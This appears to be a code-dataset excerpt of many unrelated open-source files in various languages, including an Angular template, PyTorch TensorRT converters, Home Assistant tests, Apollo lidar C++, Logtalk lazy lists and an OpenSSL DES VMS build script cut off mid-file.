content stringlengths 4 1.04M | lang stringclasses 358
values | score int64 0 5 | repo_name stringlengths 5 114 | repo_path stringlengths 4 229 | repo_licenses listlengths 1 8 |
|---|---|---|---|---|---|
<h2>Login</h2>
<p>{{message}}</p>
<p>
<button (click)="login()" *ngIf="!authService.isLoggedIn">Login</button>
<button (click)="logout()" *ngIf="authService.isLoggedIn">Logout</button>
</p>
| HTML | 3 | yuchenghu/angular-cn | aio/content/examples/router/src/app/auth/login/login.component.html | [
"MIT"
] |
#
mes 2,EM_WSIZE,EM_PSIZE
exp $profil
pro $profil,0
lal 0
loi 4*EM_PSIZE
loc 44
mon
ret 0
end
| Eiffel | 1 | wyan/ack | plat/em/libsys/prof.e | [
"BSD-3-Clause"
] |
-- Copyright 2018 Stanford University
--
-- Licensed under the Apache License, Version 2.0 (the "License");
-- you may not use this file except in compliance with the License.
-- You may obtain a copy of the License at
--
-- http://www.apache.org/licenses/LICENSE-2.0
--
-- Unless required by applicable law or agreed to in writing, software
-- distributed under the License is distributed on an "AS IS" BASIS,
-- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-- See the License for the specific language governing permissions and
-- limitations under the License.
-- Some Lua code to import the regent library and include interfaces for standard C functions.
import "regent"
local c = regentlib.c
-- Tasks always begin with the keyword "task". Tasks are Regent code, written in Regent syntax.
task main()
c.printf("The answer is 42\n")
end
-- This the (Lua) command that kicks off the top-level task.
regentlib.start(main)
| Rouge | 4 | elliottslaughter/regent-tutorial | Overview/1.rg | [
"Apache-2.0"
] |
class: draw;
dpi: 96;
size: 100px 100px;
rectangle {
size: 50px 50px;
stroke: solid(color(#000) width(3pt));
stroke: dash(color(#fff) width(1pt));
}
| CLIPS | 2 | asmuth-archive/travistest | test/draw/style_stroke_multi.clp | [
"Apache-2.0"
] |
/// <reference path='fourslash.ts'/>
////interface I {
//// property1: number;
//// property2: string;
////}
////
////function f({ property1, /**/ }: I): void {
////}
verify.completions({ marker: "", includes: "property2", excludes: "property1" });
| TypeScript | 3 | nilamjadhav/TypeScript | tests/cases/fourslash/completionListInObjectBindingPattern12.ts | [
"Apache-2.0"
] |
import torch
import tensorrt as trt
from torch.fx.experimental.fx2trt.fx2trt import tensorrt_converter
from .helper_functions import get_dyn_range, get_inputs_from_args_and_kwargs
quantize_per_tensor_inputs = ["input", "scale", "zero_point", "dtype"]
@tensorrt_converter("dequantize")
@tensorrt_converter(torch.dequantize)
@tensorrt_converter(torch.nn.quantized.modules.DeQuantize)
def dequantize(network, submod, args, kwargs, layer_name):
input_val = args[0]
if not isinstance(input_val, trt.tensorrt.ITensor):
raise RuntimeError(f'Dequantize received input {input_val} that is not part '
'of the TensorRT region!')
return input_val
@tensorrt_converter(torch.quantize_per_tensor)
@tensorrt_converter(torch.nn.quantized.modules.Quantize)
def quantize(network, submod, args, kwargs, layer_name):
# If submod is not nn.Module then it's quantize_per_tensor
if not isinstance(submod, torch.nn.Module):
input_val, scale, zero_point, dtype = get_inputs_from_args_and_kwargs(args, kwargs, quantize_per_tensor_inputs)
else:
input_val = args[0]
scale = submod.scale
zero_point = submod.zero_point
dtype = submod.dtype
if not isinstance(input_val, trt.tensorrt.ITensor):
raise RuntimeError(f'Quantize received input {input_val} that is not part '
'of the TensorRT region!')
if dtype != torch.quint8:
raise RuntimeError(f"Only support torch.quint8 quantized type for activation, get {dtype}.")
input_val.dynamic_range = get_dyn_range(scale, zero_point, dtype)
return input_val
@tensorrt_converter(torch.nn.modules.linear.Identity)
def identity(network, submod, args, kwargs, layer_name):
input_val = kwargs["input"]
if not isinstance(input_val, trt.tensorrt.ITensor):
raise RuntimeError(f'Identity received input {input_val} that is not part '
'of the TensorRT region!')
return input_val
| Python | 5 | Hacky-DH/pytorch | torch/fx/experimental/fx2trt/converters/quantization.py | [
"Intel"
] |
"""The binary sensor tests for the powerwall platform."""
from unittest.mock import patch
from homeassistant.components.powerwall.const import DOMAIN
from homeassistant.const import CONF_IP_ADDRESS, STATE_ON
from .mocks import _mock_powerwall_with_fixtures
from tests.common import MockConfigEntry
async def test_sensors(hass):
"""Test creation of the binary sensors."""
mock_powerwall = await _mock_powerwall_with_fixtures(hass)
config_entry = MockConfigEntry(domain=DOMAIN, data={CONF_IP_ADDRESS: "1.2.3.4"})
config_entry.add_to_hass(hass)
with patch(
"homeassistant.components.powerwall.config_flow.Powerwall",
return_value=mock_powerwall,
), patch(
"homeassistant.components.powerwall.Powerwall", return_value=mock_powerwall
):
assert await hass.config_entries.async_setup(config_entry.entry_id)
await hass.async_block_till_done()
state = hass.states.get("binary_sensor.grid_services_active")
assert state.state == STATE_ON
expected_attributes = {
"friendly_name": "Grid Services Active",
"device_class": "power",
}
# Only test for a subset of attributes in case
# HA changes the implementation and a new one appears
assert all(item in state.attributes.items() for item in expected_attributes.items())
state = hass.states.get("binary_sensor.grid_status")
assert state.state == STATE_ON
expected_attributes = {"friendly_name": "Grid Status", "device_class": "power"}
# Only test for a subset of attributes in case
# HA changes the implementation and a new one appears
assert all(item in state.attributes.items() for item in expected_attributes.items())
state = hass.states.get("binary_sensor.powerwall_status")
assert state.state == STATE_ON
expected_attributes = {
"friendly_name": "Powerwall Status",
"device_class": "power",
}
# Only test for a subset of attributes in case
# HA changes the implementation and a new one appears
assert all(item in state.attributes.items() for item in expected_attributes.items())
state = hass.states.get("binary_sensor.powerwall_connected_to_tesla")
assert state.state == STATE_ON
expected_attributes = {
"friendly_name": "Powerwall Connected to Tesla",
"device_class": "connectivity",
}
# Only test for a subset of attributes in case
# HA changes the implementation and a new one appears
assert all(item in state.attributes.items() for item in expected_attributes.items())
state = hass.states.get("binary_sensor.powerwall_charging")
assert state.state == STATE_ON
expected_attributes = {
"friendly_name": "Powerwall Charging",
"device_class": "battery_charging",
}
# Only test for a subset of attributes in case
# HA changes the implementation and a new one appears
assert all(item in state.attributes.items() for item in expected_attributes.items())
| Python | 4 | MrDelik/core | tests/components/powerwall/test_binary_sensor.py | [
"Apache-2.0"
] |
// compile
// Copyright 2021 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
package p
func f() {
_ = func() func() {
return func() {
l:
goto l
}
}()
}
| Go | 1 | SSSDNSY/go | test/fixedbugs/issue45947.go | [
"BSD-3-Clause"
] |
"use strict";
var _interopRequireDefault = require("@babel/runtime/helpers/interopRequireDefault");
Object.defineProperty(exports, "__esModule", {
value: true
});
exports.default = void 0;
var _createSvgIcon = _interopRequireDefault(require("./utils/createSvgIcon"));
var _jsxRuntime = require("react/jsx-runtime");
var _default = (0, _createSvgIcon.default)( /*#__PURE__*/(0, _jsxRuntime.jsx)("path", {
d: "M18.5 8C19.88 8 21 6.88 21 5.5 21 3.83 18.5 1 18.5 1S16 3.83 16 5.5C16 6.88 17.12 8 18.5 8zm-5 1c.83 0 1.5-.67 1.5-1.5 0-.84-1.5-2.5-1.5-2.5S12 6.66 12 7.5c0 .83.67 1.5 1.5 1.5zM9.12 5l-7.18 6.79c-.6.56-.94 1.35-.94 2.18V20c0 1.66 1.34 3 3 3h13.75c.69 0 1.25-.56 1.25-1.25s-.56-1.25-1.25-1.25H12v-1h7.75c.69 0 1.25-.56 1.25-1.25S20.44 17 19.75 17H12v-1h8.75c.69 0 1.25-.56 1.25-1.25s-.56-1.25-1.25-1.25H12v-1h6.75c.69 0 1.25-.56 1.25-1.25S19.44 10 18.75 10H8.86c.64-1.11 1.48-2.58 1.49-2.61.09-.16.14-.33.14-.53 0-.26-.09-.5-.26-.7C10.22 6.12 9.12 5 9.12 5z"
}), 'Wash');
exports.default = _default; | JavaScript | 3 | good-gym/material-ui | packages/material-ui-icons/lib/Wash.js | [
"MIT"
] |
@Sort(
"Exchange Sorts",
"Bubble Sort",
"Bubble Sort"
);
new function bubbleSort(array) {
for i in range(len(array)) {
new bool sorted = True;
for j in range(len(array) - i - 1) {
if array[j] > array[j + 1] {
array[j].swap(array[j + 1]);
sorted = False;
}
}
if sorted { break;}
}
} | Opal | 3 | thatsOven/sorting-visualizer | sorts/BubbleSort.opal | [
"MIT"
] |
%YAML 1.1
%TAG !u! tag:unity3d.com,2011:
--- !u!319 &31900000
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m_ObjectHideFlags: 0
m_CorrespondingSourceObject: {fileID: 0}
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m_Name: Head Mask
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m_Elements:
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m_Weight: 0
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m_Weight: 0
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m_Weight: 0
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m_Weight: 0
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m_Weight: 0
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m_Weight: 0
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m_Weight: 0
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m_Weight: 0
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m_Weight: 0
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m_Weight: 0
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m_Weight: 0
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m_Weight: 0
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m_Weight: 0
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m_Weight: 0
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m_Weight: 0
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m_Weight: 0
- m_Path: Bones/Pelvis/Stomach/Chest/Shoulders/Arm_R/Elbow_R
m_Weight: 0
- m_Path: Bones/Pelvis/Stomach/Chest/Shoulders/Arm_R/Elbow_R/Hand_R
m_Weight: 0
- m_Path: Bones/Pelvis/Stomach/Chest/Shoulders/Arm_R/Elbow_R/Hand_R/Fingers_R
m_Weight: 0
- m_Path: Bones/Pelvis/Stomach/Chest/Shoulders/Head
m_Weight: 1
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m_Weight: 1
| Mask | 3 | fillefilip8/gold-player | Assets/Hertzole/Gold Player/Examples/Animator/Animations/Player/Head Mask.mask | [
"MIT"
] |
/******************************************************************************
* Copyright 2018 The Apollo Authors. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*****************************************************************************/
#include "modules/perception/lidar/lib/detector/cnn_segmentation/feature_generator.h"
#include <limits>
#include "modules/perception/base/common.h"
#include "modules/perception/lidar/lib/detector/cnn_segmentation/util.h"
namespace apollo {
namespace perception {
namespace lidar {
bool FeatureGenerator::Init(const FeatureParam& feature_param,
base::Blob<float>* out_blob) {
// set output feature blob
out_blob_ = out_blob;
// set feature parameters
range_ = feature_param.point_cloud_range();
width_ = feature_param.width();
height_ = feature_param.height();
min_height_ = feature_param.min_height();
max_height_ = feature_param.max_height();
CHECK_EQ(width_, height_)
<< "Current implementation version requires input_width == input_height.";
use_intensity_feature_ = feature_param.use_intensity_feature();
use_constant_feature_ = feature_param.use_constant_feature();
// set log lookup table
log_table_.resize(kMaxLogNum);
for (size_t i = 0; i < log_table_.size(); ++i) {
log_table_[i] = std::log(static_cast<float>(1 + i));
}
// set output feature blob data
float* out_blob_data = nullptr;
#if USE_GPU == 1
log_blob_.reset(
new base::Blob<float>(1, 1, 1, static_cast<int>(log_table_.size())));
float* log_table = log_blob_->mutable_gpu_data();
cudaMemcpy(log_table, log_table_.data(), log_table_.size() * sizeof(float),
cudaMemcpyHostToDevice);
out_blob_data = out_blob_->mutable_gpu_data();
#else
out_blob_data = out_blob_->mutable_cpu_data();
#endif
// set raw feature data
int channel_index = 0;
max_height_data_ = out_blob_data + out_blob_->offset(0, channel_index++);
mean_height_data_ = out_blob_data + out_blob_->offset(0, channel_index++);
count_data_ = out_blob_data + out_blob_->offset(0, channel_index++);
if (use_constant_feature_) {
direction_data_ = out_blob_data + out_blob_->offset(0, channel_index++);
}
if (use_intensity_feature_) {
top_intensity_data_ = out_blob_data + out_blob_->offset(0, channel_index++);
mean_intensity_data_ =
out_blob_data + out_blob_->offset(0, channel_index++);
}
if (use_constant_feature_) {
distance_data_ = out_blob_data + out_blob_->offset(0, channel_index++);
}
nonempty_data_ = out_blob_data + out_blob_->offset(0, channel_index++);
CHECK_EQ(out_blob_->offset(0, channel_index), out_blob_->count());
// compute direction and distance features
if (use_constant_feature_) {
int map_size = height_ * width_;
std::vector<float> direction_data(map_size);
std::vector<float> distance_data(map_size);
for (int row = 0; row < height_; ++row) {
for (int col = 0; col < width_; ++col) {
int idx = row * width_ + col;
// * row <-> x, column <-> y
float center_x = Pixel2Pc(row, static_cast<float>(height_), range_);
float center_y = Pixel2Pc(col, static_cast<float>(width_), range_);
direction_data[idx] =
static_cast<float>(std::atan2(center_y, center_x) / (2.0 * kPI));
distance_data[idx] =
static_cast<float>(std::hypot(center_x, center_y) / 60.0 - 0.5);
}
}
// memory copy direction and distance features
#if USE_GPU == 1
cudaMemcpy(direction_data_, direction_data.data(),
direction_data.size() * sizeof(float), cudaMemcpyHostToDevice);
cudaMemcpy(distance_data_, distance_data.data(),
distance_data.size() * sizeof(float), cudaMemcpyHostToDevice);
#else
memcpy(direction_data_, direction_data.data(),
direction_data.size() * sizeof(float));
memcpy(distance_data_, distance_data.data(),
distance_data.size() * sizeof(float));
#endif
}
return true;
}
void FeatureGenerator::GenerateCPU(const base::PointFCloudPtr& pc_ptr,
const std::vector<int>& point2grid) {
// DO NOT remove this line!!!
// Otherwise, the gpu_data will not be updated for the later frames.
// It marks the head at cpu for blob.
out_blob_->mutable_cpu_data();
// fill initial value for feature blob
const int map_size = height_ * width_;
for (int i = 0; i < map_size; ++i) {
max_height_data_[i] = -5.f;
}
memset(mean_height_data_, 0, map_size * sizeof(float));
memset(count_data_, 0, map_size * sizeof(float));
memset(nonempty_data_, 0, map_size * sizeof(float));
if (use_intensity_feature_) {
memset(top_intensity_data_, 0, map_size * sizeof(float));
memset(mean_intensity_data_, 0, map_size * sizeof(float));
}
// compute features
for (size_t i = 0; i < pc_ptr->size(); ++i) {
int idx = point2grid[i];
if (idx == -1) {
continue;
}
const auto& pt = pc_ptr->at(i);
float pz = pt.z;
float pi = pt.intensity / 255.0f;
if (max_height_data_[idx] < pz) {
max_height_data_[idx] = pz;
if (use_intensity_feature_) {
top_intensity_data_[idx] = pi;
}
}
mean_height_data_[idx] += static_cast<float>(pz);
if (use_intensity_feature_) {
mean_intensity_data_[idx] += static_cast<float>(pi);
}
count_data_[idx] += 1.f;
}
for (int i = 0; i < map_size; ++i) {
if (count_data_[i] <= std::numeric_limits<float>::epsilon()) {
max_height_data_[i] = 0.f;
} else {
mean_height_data_[i] /= count_data_[i];
if (use_intensity_feature_) {
mean_intensity_data_[i] /= count_data_[i];
}
nonempty_data_[i] = 1.f;
}
count_data_[i] = LogCount(static_cast<int>(count_data_[i]));
}
}
} // namespace lidar
} // namespace perception
} // namespace apollo
| C++ | 4 | jzjonah/apollo | modules/perception/lidar/lib/detector/cnn_segmentation/feature_generator.cc | [
"Apache-2.0"
] |
component{
public string function ANOTHERMETHOD(){
var FO = "Bar";
local.TEST = "Foo";
LOCAL.test = "FooBar";
return LOCAL.FO;
}
} | ColdFusion CFC | 1 | tonym128/CFLint | src/test/resources/com/cflint/tests/Naming/Inconsistent_544.cfc | [
"BSD-3-Clause"
] |
#include "script_component.hpp"
/*
Name: TFAR_fnc_getLrRadioCode
Author: NKey, Garth de Wet (L-H)
Returns the encryption code for the passed radio.
Arguments:
0: Radio object <OBJECT>
1: Radio String <STRING>
Return Value:
Encryption code <STRING>
Example:
(call TFAR_fnc_activeLrRadio) call TFAR_fnc_getLrRadioCode;
Public: Yes
*/
if (GVARMAIN(radioCodesDisabled)) exitWith {""};
(_this call TFAR_fnc_getLrSettings) param [TFAR_CODE_OFFSET, ""]
| SQF | 4 | MrDj200/task-force-arma-3-radio | addons/core/functions/fnc_getLrRadioCode.sqf | [
"RSA-MD"
] |
:- object(_List_/_Pred_).
% File : LAZY.PL
% Author : R.A.O'Keefe
% Updated: 30 October 1983
% Mods for NIP: Ken Johnson 18-6-87
% Purpose: Lazy lists in Prolog.
% Needs : APPLY
% Note: this code is "pure" only in the sense that it has no side-
% effects. It does rely on the 'var' metalogical predicate and cuts.
% The lists are a little bit too eager to really be called lazy, but
% if you look at N elements it is true that only N+1 will be computed.
% Really lazy lists would compute N. If you backtrack, the computed
% elements will be undone just like other Prolog data structures, a
% Prolog system with "intelligent backtracking" might not do that.
% A lazy list is a pair consisting of a normal Prolog list (usually
% ending with an unbound variable) and a goal which may be used to
% generate new elements. The idea is that [X0,X1,X2,...]/R should
% satisfy X0 R X1, X1 R X2, ... These objects should only be used
% as arguments to these predicates.
% An example
%
% ?- make_lazy(0,succ,List), % List is the list [0,1,2....]
% head_lazy(List,H), % H is 0
% tail_lazy(List,T). % T is [1,2,3...]
% where [0,1,2...] and [1,2,3...]
% are represented in a special form
% e.g. [0 | _1]/succ
:- public([
new/2, head/1, tail/1, memberchk/1
]).
:- meta_predicate(tail(::)).
:- meta_predicate(memberchk(*, ::)).
new(First, Pred) :-
[First|_]/Pred = _List_/_Pred_.
head(Head) :-
_List_ = [Head|_].
tail(Tail/Pred) :-
_List_/_Pred_ = [_|Tail]/Pred,
nonvar(Tail),
!. % delete this clause to get logic
tail(Tail/Step) :-
_List_/_Pred_ = [Head|Tail]/Step,
call(Step, Head, Next),
Tail = [Next|_].
memberchk(Thing) :-
memberchk(Thing, _List_/_Pred_).
memberchk(Thing, [Thing|_]/_) :-
!.
memberchk(Thing, [Head|_]/Step) :-
call(Step, Head, Next),
memberchk(Thing, [Next|_]/Step).
:- end_object.
| Logtalk | 5 | PaulBrownMagic/logtalk3 | examples/lazy_lists/lazy_lists.lgt | [
"Apache-2.0"
] |
import { generateUtilityClass, generateUtilityClasses } from '@mui/base';
export interface InputAdornmentClasses {
/** Styles applied to the root element. */
root: string;
/** Styles applied to the root element if `variant="filled"`. */
filled: string;
/** Styles applied to the root element if `variant="outlined"`. */
outlined: string;
/** Styles applied to the root element if `variant="standard"`. */
standard: string;
/** Styles applied to the root element if `position="start"`. */
positionStart: string;
/** Styles applied to the root element if `position="end"`. */
positionEnd: string;
/** Styles applied to the root element if `disablePointerEvents={true}`. */
disablePointerEvents: string;
/** Styles applied if the adornment is used inside <FormControl hiddenLabel />. */
hiddenLabel: string;
/** Styles applied if the adornment is used inside <FormControl size="small" />. */
sizeSmall: string;
}
export type InputAdornmentClassKey = keyof InputAdornmentClasses;
export function getInputAdornmentUtilityClass(slot: string): string {
return generateUtilityClass('MuiInputAdornment', slot);
}
const inputAdornmentClasses: InputAdornmentClasses = generateUtilityClasses('MuiInputAdornment', [
'root',
'filled',
'standard',
'outlined',
'positionStart',
'positionEnd',
'disablePointerEvents',
'hiddenLabel',
'sizeSmall',
]);
export default inputAdornmentClasses;
| TypeScript | 4 | dany-freeman/material-ui | packages/mui-material/src/InputAdornment/inputAdornmentClasses.ts | [
"MIT"
] |
ToolTip, {{ text }},{{ x }},{{ y }},{{ id }}
| AutoHotkey | 1 | scslmd/ahk | ahk/templates/daemon/tooltip.ahk | [
"MIT"
] |
# Copyright (C) Nginx, Inc.
# Distributed under the terms of the Apache License 2.0
# $Id$
EAPI=5
PYTHON_COMPAT=( python2_7 )
inherit distutils-r1
DESCRIPTION="Fast and reliable NGINX configuration parser created by the NGINX Amplify team. "
HOMEPAGE="https://github.com/nginxinc/crossplane/"
SRC_URI="mirror://pypi/${PN:0:1}/${PN}/${PN}-${PV}.tar.gz"
LICENSE=Apache
SLOT=0
KEYWORDS="amd64 x86"
IUSE=""
RDEPEND=""
DEPEND="${RDEPEND}" | Gentoo Ebuild | 4 | dp92987/nginx-amplify-agent | packages/nginx-amplify-agent/gentoo/nginx-amplify-overlay/dev-python/crossplane/crossplane-0.1.1.ebuild | [
"BSD-2-Clause"
] |
import createSvgIcon from './utils/createSvgIcon';
import { jsx as _jsx } from "react/jsx-runtime";
export default createSvgIcon( /*#__PURE__*/_jsx("path", {
d: "M23 4H1v17h22V4zM7 12v2H5v-2h2zm-2-2V8h2v2H5zm6 2v2H9v-2h2zm-2-2V8h2v2H9zm7 6v1H8v-1h8zm-1-4v2h-2v-2h2zm-2-2V8h2v2h-2zm4 4v-2h2v2h-2zm2-4h-2V8h2v2z"
}), 'KeyboardAltSharp'); | JavaScript | 3 | good-gym/material-ui | packages/material-ui-icons/lib/esm/KeyboardAltSharp.js | [
"MIT"
] |
INSERT INTO `pt_role` (`ROLE_ID`) VALUES ("1");
| SQL | 2 | imtbkcat/tidb-lightning | tests/tool_1420/data/EE1420.pt_role.sql | [
"Apache-2.0"
] |
$!
$! DES-LIB.COM
$! Written By: Robert Byer
$! Vice-President
$! A-Com Computing, Inc.
$! byer@mail.all-net.net
$!
$! Changes by Richard Levitte <richard@levitte.org>
$!
$! This command files compiles and creates the
$! "[.xxx.EXE.CRYPTO.DES]LIBDES.OLB" library. The "xxx" denotes the machine
$! architecture of ALPHA, IA64 or VAX.
$!
$! It was re-written to try to determine which "C" compiler to try to use
$! or the user can specify a compiler in P3.
$!
$! Specify one of the following to build just that part, specify "ALL" to
$! just build everything.
$!
$! ALL To Just Build "Everything".
$! LIBRARY To Just Build The [.xxx.EXE.CRYPTO.DES]LIBDES.OLB Library.
$! DESTEST To Just Build The [.xxx.EXE.CRYPTO.DES]DESTEST.EXE Program.
$! SPEED To Just Build The [.xxx.EXE.CRYPTO.DES]SPEED.EXE Program.
$! RPW To Just Build The [.xxx.EXE.CRYPTO.DES]RPW.EXE Program.
$! DES To Just Build The [.xxx.EXE.CRYPTO.DES]DES.EXE Program.
$! DES_OPTS To Just Build The [.xxx.EXE.CRYPTO.DES]DES_OPTS.EXE Program.
$!
$! Specify either DEBUG or NODEBUG as P2 to compile with or without
$! debugging information.
$!
$! Specify which compiler at P3 to try to compile under.
$!
$! VAXC For VAX C.
$! DECC For DEC C.
$! GNUC For GNU C.
$!
$! If you don't speficy a compiler, it will try to determine which
$! "C" compiler to try to use.
$!
$! P4, if defined, sets a compiler thread NOT needed on OpenVMS 7.1 (and up)
$!
$!
$! Make sure we know what architecture we run on.
$!
$!
$! Check Which Architecture We Are Using.
$!
$ IF (F$GETSYI("CPU").LT.128)
$ THEN
$!
$! The Architecture Is VAX
$!
$ ARCH := VAX
$!
$! Else...
$!
$ ELSE
$!
$! The Architecture Is Alpha, IA64 or whatever comes in the future.
$!
$ ARCH = F$EDIT( F$GETSYI( "ARCH_NAME"), "UPCASE")
$ IF (ARCH .EQS. "") THEN ARCH = "UNK"
$!
$! End The Architecture Check.
$!
$ ENDIF
$!
$! Define The OBJ Directory Name.
$!
$ OBJ_DIR := SYS$DISK:[--.'ARCH'.OBJ.CRYPTO.DES]
$!
$! Define The EXE Directory Name.
$!
$ EXE_DIR :== SYS$DISK:[--.'ARCH'.EXE.CRYPTO.DES]
$!
$! Check To Make Sure We Have Valid Command Line Parameters.
$!
$ GOSUB CHECK_OPTIONS
$!
$! Tell The User What Kind of Machine We Run On.
$!
$ WRITE SYS$OUTPUT "Compiling On A ",ARCH," Machine."
$!
$! Check To See If The Architecture Specific OBJ Directory Exists.
$!
$ IF (F$PARSE(OBJ_DIR).EQS."")
$ THEN
$!
$! It Dosen't Exist, So Create It.
$!
$ CREATE/DIR 'OBJ_DIR'
$!
$! End The Architecture Specific OBJ Directory Check.
$!
$ ENDIF
$!
$! Check To See If The Architecture Specific Directory Exists.
$!
$ IF (F$PARSE(EXE_DIR).EQS."")
$ THEN
$!
$! It Dosen't Exist, So Create It.
$!
$ CREATE/DIR 'EXE_DIR'
$!
$! End The Architecture Specific Directory Check.
$!
$ ENDIF
$!
$! Define The Library Name.
$!
$ LIB_NAME := 'EXE_DIR'LIBDES.OLB
$!
$! Check To See What We Are To Do.
$!
$ IF (BUILDALL.EQS."TRUE")
$ THEN
$!
$! Since Nothing Special Was Specified, Do Everything.
$!
$ GOSUB LIBRARY
$ GOSUB DESTEST
$ GOSUB SPEED
$ GOSUB RPW
$ GOSUB DES
$ GOSUB DES_OPTS
$!
$! Else...
$!
$ ELSE
$!
$! Build Just What The User Wants Us To Build.
$!
$ GOSUB 'BUILDALL'
$!
$! End The BUILDALL Check.
$!
$ ENDIF
$!
$! Time To EXIT.
$!
$ EXIT
$ LIBRARY:
$!
$! Tell The User That We Are Compiling.
$!
$ WRITE SYS$OUTPUT "Compiling The ",LIB_NAME," Files."
$!
$! Check To See If We Already Have A "[.xxx.EXE.CRYPTO.DES]LIBDES.OLB" Library...
$!
$ IF (F$SEARCH(LIB_NAME).EQS."")
$ THEN
$!
$! Guess Not, Create The Library.
$!
$ LIBRARY/CREATE/OBJECT 'LIB_NAME'
$!
$! End The Library Exist Check.
$!
$ ENDIF
$!
$! Define The DES Library Files.
$!
$ LIB_DES = "set_key,ecb_enc,cbc_enc,"+ -
"ecb3_enc,cfb64enc,cfb64ede,cfb_enc,ofb64ede,"+ -
"enc_read,enc_writ,ofb64enc,"+ -
"ofb_enc,str2key,pcbc_enc,qud_cksm,rand_key,"+ -
"des_enc,fcrypt_b,read2pwd,"+ -
"fcrypt,xcbc_enc,read_pwd,rpc_enc,cbc_cksm,supp"
$!
$! Define A File Counter And Set It To "0".
$!
$ FILE_COUNTER = 0
$!
$! Top Of The File Loop.
$!
$ NEXT_FILE:
$!
$! O.K, Extract The File Name From The File List.
$!
$ FILE_NAME = F$ELEMENT(FILE_COUNTER,",",LIB_DES)
$!
$! Check To See If We Are At The End Of The File List.
$!
$ IF (FILE_NAME.EQS.",") THEN GOTO FILE_DONE
$!
$! Increment The Counter.
$!
$ FILE_COUNTER = FILE_COUNTER + 1
$!
$! Create The Source File Name.
$!
$ SOURCE_FILE = "SYS$DISK:[]" + FILE_NAME + ".C"
$!
$! Tell The User We Are Compiling The Source File.
$!
$ WRITE SYS$OUTPUT " ",FILE_NAME,".C"
$!
$! Create The Object File Name.
$!
$ OBJECT_FILE = OBJ_DIR + FILE_NAME + "." + ARCH + "OBJ"
$ ON WARNING THEN GOTO NEXT_FILE
$!
$! Check To See If The File We Want To Compile Actually Exists.
$!
$ IF (F$SEARCH(SOURCE_FILE).EQS."")
$ THEN
$!
$! Tell The User That The File Dosen't Exist.
$!
$ WRITE SYS$OUTPUT ""
$ WRITE SYS$OUTPUT "The File ",SOURCE_FILE," Dosen't Exist."
$ WRITE SYS$OUTPUT ""
$!
$! Exit The Build.
$!
$ EXIT
$!
$! End The File Exists Check.
$!
$ ENDIF
$!
$! Compile The File.
$!
$ ON ERROR THEN GOTO NEXT_FILE
$ CC/OBJECT='OBJECT_FILE' 'SOURCE_FILE'
$!
$! Add It To The Library.
$!
$ LIBRARY/REPLACE/OBJECT 'LIB_NAME' 'OBJECT_FILE'
$!
$! Time To Clean Up The Object File.
$!
$ DELETE 'OBJECT_FILE';*
$!
$! Go Back And Do It Again.
$!
$ GOTO NEXT_FILE
$!
$! All Done With This Library Part.
$!
$ FILE_DONE:
$!
$! Tell The User That We Are All Done.
$!
$ WRITE SYS$OUTPUT "Library ",LIB_NAME," Built."
$!
$! All Done, Time To Return.
$!
$ RETURN
$!
$! Compile The DESTEST Program.
$!
$ DESTEST:
$!
$! Check To See If We Have The Proper Libraries.
$!
$ GOSUB LIB_CHECK
$!
$! Check To See If We Have A Linker Option File.
$!
$ GOSUB CHECK_OPT_FILE
$!
$! Check To See If The File We Want To Compile Actually Exists.
$!
$ IF (F$SEARCH("SYS$DISK:[]DESTEST.C").EQS."")
$ THEN
$!
$! Tell The User That The File Dosen't Exist.
$!
$ WRITE SYS$OUTPUT ""
$ WRITE SYS$OUTPUT "The File DESTEST.C Dosen't Exist."
$ WRITE SYS$OUTPUT ""
$!
$! Exit The Build.
$!
$ EXIT
$!
$! End The DESTEST.C File Check.
$!
$ ENDIF
$!
$! Tell The User What We Are Building.
$!
$ WRITE SYS$OUTPUT "Building ",EXE_DIR,"DESTEST.EXE"
$!
$! Compile The DESTEST Program.
$!
$ CC/OBJECT='OBJ_DIR'DESTEST.OBJ SYS$DISK:[]DESTEST.C
$!
$! Link The DESTEST Program.
$!
$ LINK/'DEBUGGER'/'TRACEBACK'/CONTIGUOUS/EXE='EXE_DIR'DESTEST.EXE -
'OBJ_DIR'DESTEST.OBJ,'LIB_NAME'/LIBRARY,'OPT_FILE'/OPTION
$!
$! All Done, Time To Return.
$!
$ RETURN
$!
$! Compile The SPEED Program.
$!
$ SPEED:
$!
$! Check To See If We Have The Proper Libraries.
$!
$ GOSUB LIB_CHECK
$!
$! Check To See If We Have A Linker Option File.
$!
$ GOSUB CHECK_OPT_FILE
$!
$! Check To See If The File We Want To Compile Actually Exists.
$!
$ IF (F$SEARCH("SYS$DISK:[]SPEED.C").EQS."")
$ THEN
$!
$! Tell The User That The File Dosen't Exist.
$!
$ WRITE SYS$OUTPUT ""
$ WRITE SYS$OUTPUT "The File SPEED.C Dosen't Exist."
$ WRITE SYS$OUTPUT ""
$!
$! Exit The Build.
$!
$ EXIT
$!
$! End The SPEED.C File Check.
$!
$ ENDIF
$!
$! Tell The User What We Are Building.
$!
$ WRITE SYS$OUTPUT "Building ",EXE_DIR,"SPEED.EXE"
$!
$! Compile The SPEED Program.
$!
$ CC/OBJECT='OBJ_DIR'SPEED.OBJ SYS$DISK:[]SPEED.C
$!
$! Link The SPEED Program.
$!
$ LINK/'DEBUGGER'/'TRACEBACK'/CONTIGUOUS/EXE='EXE_DIR'SPEED.EXE -
'OBJ_DIR'SPEED.OBJ,'LIB_NAME'/LIBRARY,'OPT_FILE'/OPTION
$!
$! All Done, Time To Return.
$!
$ RETURN
$!
$! Compile The RPW Program.
$!
$ RPW:
$!
$! Check To See If We Have The Proper Libraries.
$!
$ GOSUB LIB_CHECK
$!
$! Check To See If We Have A Linker Option File.
$!
$ GOSUB CHECK_OPT_FILE
$!
$! Check To See If The File We Want To Compile Actually Exists.
$!
$ IF (F$SEARCH("SYS$DISK:[]RPW.C").EQS."")
$ THEN
$!
$! Tell The User That The File Dosen't Exist.
$!
$ WRITE SYS$OUTPUT ""
$ WRITE SYS$OUTPUT "The File RPW.C Dosen't Exist."
$ WRITE SYS$OUTPUT ""
$!
$! Exit The Build.
$!
$ EXIT
$!
$! End The RPW.C File Check.
$!
$ ENDIF
$!
$! Tell The User What We Are Building.
$!
